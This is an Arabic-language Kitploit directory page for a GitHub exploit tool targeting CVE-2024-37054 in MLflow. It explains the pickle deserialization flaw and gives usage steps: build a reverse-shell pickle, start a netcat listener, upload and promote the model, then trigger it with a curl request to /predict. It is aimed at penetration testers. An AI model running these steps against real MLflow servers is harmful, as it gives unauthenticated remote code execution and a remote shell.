Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-37054-MLflow-reverse-shell — استغلال لـ CVE-2024-37054: يولد نموذج pickle خبيث، يرفعه إلى MLflow، ويطلق تنفيذ التعليمات البرمجية عن بُعد عبر نقطة نهاية /predict. | Kitploit
أدوات/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

استغلال لـ CVE-2024-37054: يولد نموذج pickle خبيث، يرفعه إلى MLflow، ويطلق تنفيذ التعليمات البرمجية عن بُعد عبر نقطة نهاية /predict.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد
مشاركة

الأدوات والملفات


الملفالغرض
generate_model.pyينشئ model.pkl خبيث مع حمولة شل عكسية
upload_model.pyيرفع pickle إلى MLflow ويُرقيه إلى الإنتاج
sample.csvملف CSV يُستخدم لتشغيل نقطة النهاية /predict

الاستخدام

1. إنشاء الـ pickle الخبيث

قم بتعديل generate_model.py واضبط عنوان IP الخاص بـ tun0:

python3 generate_model.py

2. تشغيل مستمع

nc -lvnp 4444

3. رفع النموذج الخبيث

قم بتعديل upload_model.py:

  • اضبط MLFLOW إلى http://127.0.0.1:5000
  • اضبط MODEL_NAME إلى اسم النموذج النشط الموجود في النطاق الرئيسي
python3 upload_model.py

4. تشغيل التنفيذ

احصل على كعكة جلسة جديدة من تطبيق العميل، ثم:

curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

يتم استقبال الشل على المستمع الخاص بك.


الثغرة الرئيسية

إلغاء تسلسل Pickle عبر سجل نماذج MLflow

يقوم MLflow بتحميل النماذج المسجلة باستخدام pickle.load() في بايثون. من خلال رفع pickle مصمم كقطعة أثرية لنموذج وترقيته إلى الإنتاج، فإن أي استدعاء لاحق لنقطة النهاية /predict سيؤدي إلى إلغاء تسلسل الحمولة على جانب الخادم، مما يحقق تنفيذ أوامر عن بُعد (RCE) غير مصادق عليه كمستخدم التطبيق.

المراجع

  • وثائق REST API لـ MLflow
  • إلغاء تسلسل Pickle في بايثون
تنزيل الأداة